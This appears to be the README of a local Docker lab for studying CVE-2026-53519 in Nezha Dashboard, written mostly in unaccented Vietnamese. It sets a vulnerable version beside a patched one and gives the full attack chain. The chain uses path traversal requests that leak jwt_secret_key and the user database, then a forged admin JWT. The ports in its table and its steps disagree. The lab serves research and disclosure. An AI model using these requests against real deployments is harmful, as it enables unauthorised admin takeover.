
Docker lab reproducing CVE-2026-53519, a pre-auth path traversal in Nezha Dashboard that leaks jwt_secret_key and enables JWT forgery and admin takeover.
| Image | URL (loopback) | Ket qua ky vong |
|---|
| Vulnerable | ghcr.io/nezhahq/nezha:v2.0.12 | http://127.0.0.1:9090 | leak config.yaml, chiem admin |
| Patched | ghcr.io/nezhahq/nezha:v2.0.13 | http://127.0.0.1:9091 | bi chan (404) |
Ca hai chi bind 127.0.0.1, khong expose ra LAN. Dang nhap admin mac dinh: admin / admin.
python) - de parse sqlite.db bi leak (co fallback neu thieu)# 1. Seed data + up 2 container (vuln 8080, patched 8081)
.\lab.ps1 reset
# 2. Smoke check nhanh
.\lab.ps1 validate
# 3. Chuoi khai thac day du tren VULN
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1
# 4. Doi chung tren PATCHED (mong doi: bi chan)
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1 -Patched
# 5. Negative controls (vi sao dung bien the nay moi leak)
powershell -ExecutionPolicy Bypass -File .\poc\negative-controls.ps1
Lenh quan ly:
.\lab.ps1 start | stop | status | logs [vuln|patched]
GET /dashboard../data/config.yaml -> leak jwt_secret_key.
GET /dashboard../data/sqlite.db -> lay user id admin (id=1).{user_id:"1", ip:"", exp:<future>} bang secret leak -> Authorization: Bearer <token>
-> GET /api/v1/profile (xac thuc) va GET /api/v1/user (endpoint chi-admin) -> admin takeover.Chi tiet root cause: xem analysis/ROOT_CAUSE.md va
analysis/vuln-vs-patch.diff.
Bao cao day du: REPORT_CVE_2026_53519.md.
docker-compose.yml # A/B vuln (8080) vs patched (8081)
seed/config.yaml # seed jwt_secret_key co dinh (deterministic)
seed/lab_canary.txt # canary de minh hoa file read
lab.ps1 / lab-common.ps1 # quan ly + helper (raw HTTP, forge JWT HS256)
poc/poc-cve-2026-53519.ps1 # chuoi khai thac day du
poc/negative-controls.ps1 # doi chung cac bien the bi chan
poc/parse_users.py # parse sqlite.db leak -> user id admin
analysis/ROOT_CAUSE.md # phan tich + ban va
analysis/vuln-vs-patch.diff # diff controller.go v2.0.12 -> v2.0.13
evidence/ # output tu moi lan chay (leaked-config, token, userlist...)
Lab chi dung cho nghien cuu/giao duc trong moi truong cuc bo. jwt_secret_key trong seed/config.yaml
la gia tri gia, chi phuc vu demo. Khong dung image/version dinh loi nay tren production.